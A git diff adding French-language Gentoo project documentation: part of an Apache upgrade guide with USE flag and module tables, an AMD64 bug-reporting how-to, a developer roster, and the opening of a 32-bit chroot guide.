+les ebuilds doivent être modifiés pour tirer parti de notre eclass, alors jetez
+un œil à la <uri link="/proj/fr/apache/apache-developer.xml">Documentation
+Apache pour les développeurs</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Instructions pour la mise à jour</title>
+<body>
+
+<p>
+Il y a eu de nombreux changements dans la manière de fonctionner d'Apache au
+sein de Gentoo. Chaque paquet qui est directement relié à Apache doit être mis à
+jour et certaines choses qui fonctionnaient avant ne fonctionneront plus.
+</p>
+
+<p>
+D'abord, vous devez déterminer quels paquets vous devez mettre à jour. Vous
+pouvez faire cela en utilisant l'outil <c>equery</c>, appartenant au paquet
+<c>app-portage/gentoolkit</c>.
+</p>
+
+<pre caption="Trouver les paquets à mettre à jour">
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
+dev-db/phpmyadmin-2.5.6
+dev-php/mod_php-4.3.10
+dev-php/phpsysinfo-2.1-r2
+net-www/mod_bandwidth-2.0.5
+net-www/mod_layout-4.0.1a
+net-www/mod_mp3-0.40
+net-www/mod_random-2.0
+net-www/mod_throttle-3.1.2-r1
+www-apache/mod_ldap_userdir-1.1.4
+www-apache/mod_loopback-1.04
+www-apache/mod_watch-3.18
+www-apps/viewcvs-0.9.2_p20030430
+</pre>
+
+<impo>
+Les paquets que vous avez installés peuvent être bien différents de cette liste,
+donc assurez-vous de bien lancer cette commande sur votre système.
+</impo>
+
+<warn>
+Certains modules et paquets dépendent d'Apache et n'ont pas encore été mis à
+jour. Veuillez faire une <uri link="http://bugs.gentoo.org">recherche sur
+bugzilla</uri> pour chaque paquet important que vous utilisez avec Apache.
+</warn>
+
+<p>
+De nombreuses applications web ne sont pas concernées du fait qu'elles
+utilisent l'eclass <c>webapp</c> qui s'occupe de les installer correctement. Il
+est conseillé de vérifier l'existence d'une nouvelle révision.
+</p>
+
+<p>
+Comme nous avons ajouté de nouvelles options à la variable USE, il peut être
+intéressant d'y jeter un œil et d'ajouter ce qui est nécessaire au fichier
+<path>/etc/portage/package.use</path>. Consultez <uri link="#use-2.2.6-r4">les
+options USE d'Apache</uri> pour plus d'informations.
+</p>
+
+<pre caption="Vérifier les options USE et recompiler">
+<comment>(Contrôler les options USE et les mises à jour nécessaires)</comment>
+# <i>emerge --pretend --verbose --update --newuse --deep apache subversion \
+mod_php mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 \
+mod_random mod_throttle mod_watch</i>
+
+<comment>(Mettre les paquets à jour)</comment>
+# <i>emerge --verbose --update --newuse --deep apache subversion mod_php \
+mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 mod_random \
+mod_throttle mod_watch</i>
+
+<comment>(Il peut être plus simple de mettre world à jour
+plutôt que de faire comme ci-dessus)</comment>
+# <i>emerge --ask --verbose --update --newuse --deep world</i>
+</pre>
+
+<p>
+Maintenant, il faut reconfigurer Apache et ses modules. Commencez par utiliser
+<c>etc-update</c> ou <c>dispatch-conf</c> pour mettre à jour les fichiers de
+<path>/etc/init.d</path> et <path>/etc/conf.d</path>. Vous remarquerez que les
+fichiers de configuration d'Apache ne s'affichent pas lors de la mise à jour,
+car ils ont été déplacés.
+</p>
+
+<p>
+Si vous avez apporté des modifications aux anciens <path>apache.conf</path> et
+<path>commonapache.conf</path> par défaut, il vous faudra les transposer au
+fichier <path>/etc/apache{|2}/httpd.conf</path>. Les fichiers de configuration
+des modules et des hôtes virtuels ont aussi été déplacés&nbsp;: ils se trouvent
+maintenant respectivement dans <path>/etc/apache2/modules.d</path> et
+<path>/etc/apache2/vhosts.d</path> .
+</p>
+
+<p>
+Une fois le transfert de vos modifications vers les nouveaux fichiers de
+configuration effectué, il vous faudra effacer les anciens fichiers (ou bien les
+déplacer dans un endroit sûr). Le nouveau script
+<path>/etc/init.d/apache{|2}</path> vérifie l'existence de ces fichiers et ne
+vous laisse pas lancer Apache tant qu'ils n'ont pas été enlevés pour signifier
+que vous avez reconfiguré Apache à l'aide des nouveaux fichiers.
+</p>
+
+<note>
+De nombreux modules qui étaient activés par défaut ne le sont plus. Si ce sont
+des modules internes à Apache, alors décommentez la ligne appropriée dans
+httpd.conf. Si ce sont des modules externes, recherchez dans le fichier .conf du
+module la balise <c>IfDefine</c> et ajoutez le nom au fichier
+<path>/etc/conf.d/apache{|2}</path> pour l'activer.
+</note>
+
+<p>
+Vous pouvez maintenant relancer Apache.
+</p>
+
+<pre caption="Redémarrer Apache">
+# <i>/etc/init.d/apache stop</i>
+# <i>/etc/init.d/apache start</i>
+</pre>
+
+<p>
+Si vous rencontrez des problèmes, jetez un œil au  <uri
+link="/doc/en/apache-troubleshooting.xml">Apache Troubleshooting Guide</uri> et
+si ça ne résoud pas votre problème, veuillez le rapporter sur le <uri
+link="http://bugs.gentoo.org">Bugzilla Gentoo</uri>. Veuillez préciser les
+modules activés et, si vous utilisez Apache 2, les options USE MPM que vous avez
+utilisées lors de la compilation. Vous pouvez aussi vous connecter à
+<path>#gentoo-apache</path> sur <path>irc.freenode.net</path> pour plus
+d'assistance.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="use-pre-2.2.6-r4">
+<title>Options de la variable USE affectant Apache &lt;2.2.6-r4</title>
+<section>
+<body>
+
+<p>
+Des options de la variable USE sont particulières à Apache et ses modules.
+Apache supporte aussi plusieurs options plus génériques telles que <c>ssl</c>,
+mais leur effet sur Apache n'est guère différent de celui qu'elles ont sur les
+autres paquets, elles ne sont donc pas énumérées ici. Lancez <c>emerge --verbose
+--pretend apache</c> pour voir une liste complète des options supportées.
+</p>
+
+<table>
+<tr>
+  <th>Option USE</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>apache2</ti>
+  <ti>
+    Doit toujours être activée si on utilise Apache 2, et être désactivée dans
+    le cas de l'utilisation d'Apache 1.3. L'eclass s'en sert pour déterminer de
+    quelle version d'Apache on doit dépendre.
+  </ti>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>
+    Active un crochet qui autorise des modules externes à se greffer et faire
+    quelque chose après qu'un processus fils ait planté. Il existe déjà deux
+    modules, <c>mod_whatkilledus</c> and <c>mod_backtrace</c> qui utilisent ce
+    crochet.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>Installe le manuel Apache et sa configuration.</ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>
+    Installe <c>mod_ldap</c> et <c>mod_auth_ldap</c>/<c>mod_authnz_ldap</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>Installe <c>mod_ssl</c>.</ti>
+</tr>
+<tr>
+  <ti>mpm-itk</ti>
+  <ti>Compile le MPM <uri link="http://mpm-itk.sesse.net/">itk</uri>.</ti>
+</tr>
+<tr>
+  <ti>mpm-leader</ti>
+  <ti>
+    Compile le MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/leader.html">leader</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Compile le MPM <uri link="http://www.telana.com/peruser.php">peruser</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-prefork</ti>
+  <ti>
+    Compile le MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/prefork.html">prefork</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-threadpool</ti>
+  <ti>
+    Compile le MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/threadpool.html">threadpool</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-worker</ti>
+  <ti>
+    Compile le MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/worker.html">worker</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>static-modules</ti>
+  <ti>
+    Lie statiquement les modules au binaire d'Apache, de manière à ce que
+    LoadModule ne soit pas nécessaire pour charger les modules de base d'Apache.
+  </ti>
+</tr>
+</table>
+
+<note>
+Bien qu'il y ait beaucoup d'options USE <c>mpm-*</c>, elles sont mutuellement
+exclusives. Il ne faut donc en activer qu'une seule. (Si aucune n'est activée,
+<c>mpm-prefork</c> ou <c>mpm-worker</c> sera utilisée, selon que l'option USE
+threads soit activée ou non).
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="use-2.2.6-r4">
+<title>Options USE affectant Apache 2.2.6-r4 et supérieur</title>
+<section>
+<body>
+
+<p>
+Avec l'arrivée de la variable <c>APACHE2_MODULES</c>, un nettoyage général des
+options USE fut nécessaire. Le tableau suivant liste les options USE
+actuellement supportées pour <c>apache-2.2.6-r4</c> et supérieurs, ainsi que
+leurs équivalents dans les versions précédentes.
+</p>
+
+<table>
+<tr>
+  <th>Option USE</th>
+  <th>Ancienne option USE</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>debug</ti>
+  <ti>
+    Active un crochet qui autorise des modules externes à se greffer et faire
+    quelque chose après qu'un fils ait planté. Il existe déjà deux modules,
+    <c>mod_whatkilledus</c> et <c>mod_backtrace</c>, qui utilisent ce crochet.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>doc</ti>
+  <ti>Installe le manuel Apache et sa configuration.</ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>ldap</ti>
+  <ti>Installe <c>mod_ldap</c> et <c>mod_authnz_ldap</c>.</ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>ssl</ti>
+  <ti>Installe <c>mod_ssl</c>.</ti>
+</tr>
+<tr>
+  <ti>static</ti>
+  <ti>static-modules</ti>
+  <ti>
+    Lie statiquement les modules au binaire d'Apache, de manière à ce que
+    LoadModule ne soit pas nécessaire pour charger les modules de base d'Apache.
+  </ti>
+</tr>
+<tr>
+  <ti>suexec</ti>
+  <ti>no-suexec</ti>
+  <ti>Installe <c>mod_suexec</c> et le binaire d'aide <c>suexec</c>.</ti>
+</tr>
+<tr>
+  <ti>threads</ti>
+  <ti>threads</ti>
+  <ti>
+    Sélectionne le MPM par défaut si aucun n'a été défini dans APACHE2_MPMS.
+  </ti>
+</tr>
+</table>
+
+<p>
+Le tableau suivant liste les options de la variable <c>APACHE2_MPMS</c>
+actuellement supportées pour <c>apache-2.2.6-r4</c> et leur précédente option
+USE locale correspondante.
+</p>
+
+<table>
+<tr>
+  <th>Option</th>
+  <th>Ancienne option USE</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>event</ti>
+  <ti>mpm-event</ti>
+  <ti>Une variante expérimentale du MPM standard worker.</ti>
+</tr>
+<tr>
+  <ti>itk</ti>
+  <ti>mpm-itk</ti>
+  <ti>
+    Autorise le lancement de chaque hôte virtuel sous un uid et un gid séparés.
+  </ti>
+</tr>
+<tr>
+  <ti>peruser</ti>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Peruser est une implémentation fonctionnelle du MPM perchild autorisant le
+    lancement de chaque processus fils Apache avec son propre utilisateur et
+    groupe, chacun gérant son propre ensemble d'hôtes virtuels.
+  </ti>
+</tr>
+<tr>
+  <ti>prefork</ti>
+  <ti>mpm-prefork</ti>
+  <ti>
+    Implémente un serveur web non multitâche, avec séparation préalable du
+    processus.
+  </ti>
+</tr>
+<tr>
+  <ti>worker</ti>
+  <ti>mpm-worker</ti>
+  <ti>
+    MPM implémentant un serveur web hybride multitâche et multiprocessus.
+  </ti>
+</tr>
+</table>
+
+<p>
+Le tableau suivant liste les options de la variable <c>APACHE2_MODULES</c>
+actuellement supportés pour <c>apache-2.2.6-r4</c>.
+</p>
+
+<table>
+<tr>
+  <th>Option</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>actions</ti>
+  <ti>
+    Permet l'exécution de scripts CGI en fonction de leur type de média ou de la
+    méthode de requête.
+  </ti>
+</tr>
+<tr>
+  <ti>alias</ti>
+  <ti>
+    Permet de rendre accessible certaines parties du système de fichiers de
+    l'hôte dans l'arbre de documents, et de rediriger les URL
+  </ti>
+</tr>
+<tr>
+  <ti>asis</ti>
+  <ti>Envoie des fichiers contenant leurs propres entêtes HTTP</ti>
+</tr>
+<tr>
+  <ti>auth_basic</ti>
+  <ti>Authentification simple</ti>
+</tr>
+<tr>
+  <ti>auth_digest</ti>
+  <ti>
+    Authentification d'utilisateurs utilisant une authentification par hachage MD5
+  </ti>
+</tr>
+<tr>
+  <ti>authn_alias</ti>
+  <ti>
+    Fournit la possibilité de créer une authentification étendue basée sur les
+    fournisseurs d'authentification présents
+  </ti>
+</tr>
+<tr>
+  <ti>authn_anon</ti>
+  <ti>Autorise l'accés utilisateur anonyme à des zones authentifiées</ti>
+</tr>
+<tr>
+  <ti>authn_dbd</ti>
+  <ti>Authentification utilisateur utilisant une base de données SQL</ti>
+</tr>
+<tr>
+  <ti>authn_dbm</ti>
+  <ti>Authentification utilisateur utilisant des fichiers DBM</ti>
+</tr>
+<tr>
+  <ti>authn_default</ti>
+  <ti>Module de rétrogradage d'authentification</ti>
+</tr>
+<tr>
+  <ti>authn_file</ti>
+  <ti>Authentification utilisateur utilisant des fichiers texte</ti>
+</tr>
+<tr>
+  <ti>authz_dbm</ti>
+  <ti>Autorisation de groupe utilisant des fichiers DBM</ti>
+</tr>
+<tr>
+  <ti>authz_default</ti>
+  <ti>Module de rétrogradage d'autorisation</ti>
+</tr>
+<tr>
+  <ti>authz_groupfile</ti>
+  <ti>Autorisation de groupe utilisant des fichiers texte</ti>
+</tr>
+<tr>
+  <ti>authz_host</ti>
+  <ti>Autorisation de groupe basée sur l'hôte (nom ou adresse IP)</ti>
+</tr>
+<tr>
+  <ti>authz_owner</ti>
+  <ti>Autorisation basée sur le propriétaire des fichiers</ti>
+</tr>
+<tr>
+  <ti>authz_user</ti>
+  <ti>Autorisation d'utilisateur</ti>
+</tr>
+<tr>
+  <ti>autoindex</ti>
+  <ti>
+    Génère automatiquement les index de répertoire, de façon similaire à la
+    commande Unix <c>ls</c>
+  </ti>
+</tr>
+<tr>
+  <ti>cache</ti>
+  <ti>Mise en cache du contenu associé aux URIs</ti>
+</tr>
+<tr>
+  <ti>cern_meta</ti>
+  <ti>Sémantique des métafichiers httpd du CERN</ti>
+</tr>
+<tr>
+  <ti>charset_lite</ti>
+  <ti>Spécifie le jeu de caractères de traduction ou recodage</ti>
+</tr>
+<tr>
+  <ti>dav</ti>
+  <ti>
+    Fonctionnalité de gestion distribuée de publication et de contrôle de
+    version (WebDAV, Web-based Distributed Authoring and Versioning)
+  </ti>
+</tr>
+<tr>
+  <ti>dav_fs</ti>
+  <ti>Fournit un système de fichiers pour mod_dav</ti>
+</tr>
+<tr>
+  <ti>dav_lock</ti>
+  <ti>Module générique de verrouillage pour mod_dav</ti>
+</tr>
+<tr>
+  <ti>dbd</ti>
+  <ti>Gestion des connexions aux bases de données SQL</ti>
+</tr>
+<tr>
+  <ti>deflate</ti>
+  <ti>Compresse le contenu avant son envoi au client</ti>
+</tr>
+<tr>
+  <ti>dir</ti>
+  <ti>
+    Fournit la redirection de «&nbsp;slash final&nbsp;» et le service des
+    fichiers d'index de répertoire
+  </ti>
+</tr>
+<tr>
+  <ti>disk_cache</ti>
+  <ti>Stockage du cache du contenu associé aux URIs</ti>
+</tr>
+<tr>
+  <ti>dumpio</ti>
+  <ti>Transfert toutes les E/S vers le log d'erreur de la façon désirée</ti>
+</tr>
+<tr>
+  <ti>env</ti>
+  <ti>Modifie l'environnement transmis aux scripts CGI et aux pages SSI</ti>
+</tr>
+<tr>
+  <ti>expires</ti>
+  <ti>
+    Génération des entêtes HTTP Expires et Cache-Control selon les critères
+    spécifiés par l'utilisateur
+  </ti>
+</tr>
+<tr>
+  <ti>ext_filter</ti>
+  <ti>
+    Passe le corps de la réponse à travers un programme externe avant son envoi
+    au client
+  </ti>
+</tr>
+<tr>
+  <ti>file_cache</ti>
+  <ti>Mise en cache mémoire d'une liste statique de fichiers</ti>
+</tr>
+<tr>
+  <ti>filter</ti>
+  <ti>
+    Module de configuration pour le filtre intelligent sensible au contexte
+  </ti>
+</tr>
+<tr>
+  <ti>headers</ti>
+  <ti>Customisation des requêtes HTTP et des entêtes des réponses</ti>
+</tr>
+<tr>
+  <ti>ident</ti>
+  <ti>Vérification ident selon la RFC 1413</ti>
+</tr>
+<tr>
+  <ti>imagemap</ti>
+  <ti>Calcul des imagemap côté serveur</ti>
+</tr>
+<tr>
+  <ti>include</ti>
+  <ti>Documents HTML parcourus par le serveur (Server Side Includes)</ti>
+</tr>
+<tr>
+  <ti>info</ti>
+  <ti>Fournit une vue complète de la configuration du serveur</ti>
+</tr>
+<tr>
+  <ti>log_config</ti>
+  <ti>Log des requêtes faîtes sur le serveur</ti>
+</tr>
+<tr>
+  <ti>log_forensic</ti>
+  <ti>Log forensique des requêtes faîtes sur le serveur</ti>
+</tr>
+<tr>
+  <ti>logio</ti>
+  <ti>Log du nombre d'octets en entrée et sortie pour chaque requête</ti>
+</tr>
+<tr>
+  <ti>mem_cache</ti>
+  <ti>Mise en cache du contenu associé aux URIs</ti>
+</tr>
+<tr>
+  <ti>mime</ti>
+  <ti>
+    Associe les extensions des fichiers demandés avec le comportement du fichier
+    (gestion et filtres) et son contenu (type MIME, langue, jeu de caractères
+    et encodage)
+  </ti>
+</tr>
+<tr>
+  <ti>mime_magic</ti>
+  <ti>
+    Ddétermine le type MIME d'un fichier en regardant quelques octets de son
+    contenu
+  </ti>
+</tr>
+<tr>
+  <ti>negotiation</ti>
+  <ti>Fournit la négociation de contenu</ti>
+</tr>
+<tr>
+  <ti>proxy</ti>
+  <ti>Serveur proxy/passerelle HTTP/1.1</ti>
+</tr>
+<tr>
+  <ti>proxy_ajp</ti>
+  <ti>Module de support AJP pour mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_balancer</ti>
+  <ti>Extension de mod_proxy pour la répartition de charge</ti>
+</tr>
+<tr>
+  <ti>proxy_connect</ti>
+  <ti>Extension de mod_proxy pour la prise en charge des requêtes CONNECT</ti>
+</tr>
+<tr>
+  <ti>proxy_ftp</ti>
+  <ti>Module de support FTP pour mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_http</ti>
+  <ti>Module de support HTTP pour mod_proxy</ti>
+</tr>
+<tr>
+  <ti>rewrite</ti>
+  <ti>
+    Fournit un mécanisme de réécriture basé sur des règles pour réécrire les
+    URLs à la volée
+  </ti>
+</tr>
+<tr>
+  <ti>setenvif</ti>
+  <ti>
+    Autorise la définition de variables d'environnement basée sur les
+    caractéristiques de la requête
+  </ti>
+</tr>
+<tr>
+  <ti>speling</ti>
+  <ti>
+    Tente de corriger les erreurs des URLs que les utilisateurs auraient entré
+    en ignorant la capitalisation et en autorisant au plus une faute
+  </ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>
+    Fournit des informations à propos de l'activité et des performances du
+    serveur
+  </ti>
+</tr>
+<tr>
+  <ti>unique_id</ti>
+  <ti>
+    Fournit une variable d'environnement avec un identifiant unique pour chaque
+    requête
+  </ti>
+</tr>
+<tr>
+  <ti>userdir</ti>
+  <ti>Répertoires spécifiques aux utilisateurs</ti>
+</tr>
+<tr>
+  <ti>usertrack</ti>
+  <ti>Log de l'activité des utilisateurs sur un site</ti>
+</tr>   
+<tr>
+  <ti>version</ti>
+  <ti>Configuration dépendante de la version</ti>
+</tr>
+<tr>
+  <ti>vhost_alias</ti>
+  <ti>
+    Fournit le support pour la configuration dynamique de l'hébergement virtuel
+    de masse
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/base/amd64/bugs.xml b/xml/htdocs/proj/fr/base/amd64/bugs.xml
new file mode 100644
index 00000000..2be19ae3
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/bugs.xml
@@ -0,0 +1,164 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/bugs.xml,v 1.1 2005/01/22 16:00:33 cam Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+<title>Comment remplir des rapports de bogue de tests d'applications pour
+Gentoo/AMD64</title>
+<body>
+
+<p>
+Tout d'abord, nous tenons à vous remercier pour l'aide que vous apportez au
+projet Gentoo/AMD64. Vos efforts constants pour tester les applications sont
+grandement appréciés. Nous allons donner ici les étapes à suivre pour soumettre
+un rapport de bogue si vous voulez nous indiquer qu'une application masquée
+fonctionne sur votre installation Gentoo/AMD64.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Obtenir un compte</title>
+<body>
+
+<p>
+Si vous n'avez pas encore de compte sur <uri
+link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>, merci de
+commencer par en créer un.
+</p>
+
+</body>
+</section>
+
+
+<section>
+<title>Étapes à suivre pour la soumission</title>
+<body>
+
+<p>
+Suivez les étapes suivantes pour soumettre un rapport de bogue&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Allez sur <uri link="http://bugs.gentoo.org/">bugs.gentoo.org</uri>&nbsp;;
+  </li>
+  <li>Cliquez sur <c>Report A Bug</c> près du haut de la page&nbsp;;</li>
+  <li>Choisissez <c>Gentoo Linux</c> dans la liste des produits&nbsp;;</li>
+  <li>Identifiez-vous en utilisant votre compte bugs.gentoo.org&nbsp;;</li>
+  <li>
+    Cherchez votre bogue&nbsp;:
+    <ul>
+      <li>
+        Entrez <c>ALL</c> et le nom de l'ebuild concerné dans le champ de
+        recherche. Attention&nbsp;: <c>ALL</c> est sensible à la casse.
+      </li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Exemple">ALL k3b</pre>
+
+<ul>
+  <li>
+    Continuez à chercher votre bogue&nbsp;:
+    <ul>
+      <li>Cliquez sur le bouton <c>Search</c>&nbsp;;</li>
+      <li>
+        Cherchez si quelqu'un n'aurait pas déjà soumis un rapport de bogue
+        concernant la même application masquée qui fonctionne chez vous&nbsp;;
+      </li>
+      <li>
+        Vous devez chercher ces deux éléments&nbsp;:
+        <ul>
+          <li>La colonne Plt doit indiquer <c>amd64</c>,</li>
+          <li>
+            La colonne Summary doit indiquer quelque chose comme <e>working on
+            amd64</e>.
+          </li>
+        </ul>
+      </li>
+      <li>
+        Si vous ne trouvez rien, passez à l'étape suivante. Sinon, nous sommes
+        déjà au courant de l'état de l'application et vous n'avez pas besoin de
+        (et ne devez pas) soumettre de nouveau rapport de bogue.
+      </li>
+    </ul>
+  </li>
+  <li>
+    Donnez-nous des informations&nbsp;:
+    <ul>
+      <li>Sélectionnez <c>Ebuilds</c> pour le champ <e>Component</e>&nbsp;;</li>
+      <li>
+        Sélectionnez <c>amd64</c> pour le champ <e>Hardware Platform</e>&nbsp;;
+      </li>
+      <li>
+        Dans la partie <e>Summary</e>, entrez un résumé du genre&nbsp;:
+        «&nbsp;${catégorie}/${application}-${version} works on amd64&nbsp;».
+      </li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Exemple">
+app-cdr/k3b-0.11.6 works on amd64
+</pre>
+
+<ul>
+  <li>
+    Continuez à nous donner quelques informations&nbsp;:
+    <ul>
+      <li>
+        Dans la partie <e>Details</e>, donnez une description brève du
+        genre&nbsp;: «&nbsp;Please add "~amd64" to the KEYWORDS for
+        ${category}/${application}-${version}&nbsp;».
+      </li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Exemple">
+Please add "~amd64" to the KEYWORDS for app-cdr/k3b-0.11.6
+</pre>
+
+<ul>
+  <li>
+    Continuez à nous donner des informations&nbsp;:
+    <ul>
+      <li>
+        Copiez les messages de sortie de <c>emerge --info</c> dans la partie
+        <e>Additional Information</e>. Cette étape est très utile et nous donne
+        les conditions d'environnement que vous utilisez (les paramètres USE par
+        exemple).
+      </li>
+      <li>
+        Sélectionnez <c>Enhancement</c> dans la liste <e>Severity</e>. <e>Merci
+        de ne rien sélectionner d'autre. Les développeurs peuvent (et doivent)
+        changer la sévérité de votre rapport de bogue en cas de nécessité.</e>
+      </li>
+    </ul>
+  </li>
+  <li>
+    Revérifiez votre travail pour vous assurez que vous avez bien mis les bons
+    renseignements.
+  </li>
+  <li>
+    Cliquez sur <c>Submit Bug Report</c> quand vous êtes prêt à soumettre votre
+    bogue.
+  </li>
+</ul>
+
+<p>
+Merci beaucoup&nbsp;!
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/devel.xml b/xml/htdocs/proj/fr/base/amd64/devel.xml
new file mode 100644
index 00000000..a076b79e
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/devel.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/devel.xml,v 1.1 2005/01/22 16:00:33 cam Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+<title>Développement de Gentoo/AMD64</title>
+<subsection>
+<title>Développeurs Gentoo/AMD64 actuels</title>
+<body>
+
+<table>
+<tr>
+  <th>Nom</th>
+  <th>Surnom</th>
+  <th>Rôle</th>
+</tr>
+
+<tr>
+  <ti><mail link="jhuebel@gentoo.org">Jason Huebel</mail></ti>
+  <ti>jhuebel</ti>
+  <ti>Chef d'équipe stratégique</ti>
+</tr>
+
+<tr>
+  <ti><mail link="lv@gentoo.org">Travis Tilley</mail></ti>
+  <ti>lv</ti>
+  <ti>Chef d'équipe opérationnel</ti>
+</tr>
+
+<tr>
+  <ti><mail link="avenj@gentoo.org">Jon Portnoy</mail></ti>
+  <ti>avenj</ti>
+  <ti>Développeur</ti>
+</tr>
+
+<tr>
+  <ti><mail link="absinthe@gentoo.org">Dylan Carlson</mail></ti>
+  <ti>absinthe</ti>
+  <ti>Développeur</ti>
+</tr>
+
+<tr>
+  <ti><mail link="aliz@gentoo.org">Daniel Ahlberg</mail></ti>
+  <ti>aliz</ti>
+  <ti>Développeur</ti>
+</tr>
+
+<tr>
+  <ti><mail link="kugelfang@gentoo.org">Danny van Dyk</mail></ti>
+  <ti>kugelfang</ti>
+  <ti>Développeur</ti>
+</tr>
+
+<tr>
+<ti><mail link="augustus@gentoo.org">Kris Kersey</mail></ti>
+  <ti>augustus</ti>
+  <ti>Développeur</ti>
+</tr>
+
+<tr>
+  <ti><mail link="blubb@gentoo.org">Simon Stelling</mail></ti>
+  <ti>blubb</ti>
+<ti>Développeur</ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Comment contribuer</title>
+<body>
+
+<p>
+Il y a plusieurs façons de contribuer au projet Gentoo/AMD64. Voici quelques
+actions que les utilisateurs moyens de Gentoo/AMD64 peuvent faire pour aider le
+projet&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Tester les paquets masqués pour voir s'ils fonctionnent sur Gentoo/AMD64.
+  </li>
+  <li>Créer des correctifs pour résoudre les ebuilds qui posent problème.</li>
+  <li>
+    Aider en répondant aux questions sur le canal de discussion IRC de
+    Gentoo/AMD64, sur la liste de diffusion ou sur les forums.
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/howtos/chroot.xml b/xml/htdocs/proj/fr/base/amd64/howtos/chroot.xml
new file mode 100644
index 00000000..07388231
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/howtos/chroot.xml
@@ -0,0 +1,338 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Id: chroot.xml,v 1.2 2008/07/06 23:05:24 cam Exp $ -->
+
+<guide link="/proj/fr/base/amd64/howtos/chroot.xml" lang="fr" >
+
+<title>Comment installer un chroot 32 bits</title>
+
+<author title="Auteur">
+<mail link="metalgod@gentoo.org">Luis Medinas</mail>
+</author>
+<author title="Traducteur">
+  <mail link="ac007@bluewin.ch">Alexandre</mail>
+</author>
+
+<abstract>
+Ce HOWTO vous donne la marche à suivre pour créer un chroot 32 bits.
+</abstract>
+
+<license/>
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<version>1.0</version>
+<date>2006-09-16</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Introduction au système 64 bits</title>
+<body>
+
+<p>
+Ce guide vous aide à installer un vrai chroot 32 bits sur votre système
+Gentoo/AMD64.
+</p>
+
+<p>
+Comme vous le savez, les systèmes 64 bits ne permettent pas encore d'exécuter
+de manière native des applications 32 bits (du moins pas avec Portage). Il vous
+faut donc soit utiliser des bibliothèques d'émulation pour les faire
+fonctionner, soit créer un vrai système 32 bits à l'intérieur d'un chroot pour
+installer et exécuter nativement des applications 32 bits. Dans les cas les
+plus courants, vous n'avez pas besoin de construire un système chroot 32 bits.
+Néanmoins, si vous voulez exécuter des applications qui n'ont pas de binaires
+disponibles pour s'exécuter avec des bibliothèques 32 bits, vous devriez
+utiliser un chroot 32 bits. Ce guide va vous montrer comment installer un
+chroot 32 bits et comment installer et exécuter des applications à l'intérieur
+de ce chroot.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installation</title>
+<section>
+<title>Installation de votre chroot 32 bits</title>
+<body>
+
+<p>
+Pour installer un chroot 32 bits, vous devez suivre plusieurs étapes de
+l'installation de Gentoo Linux sur un ordinateur x86. Pour commencer, vous avez
+besoin du dernier stage3 disponible sur nos <uri
+link="/main/en/mirrors.xml">miroirs</uri>.
+</p>
+
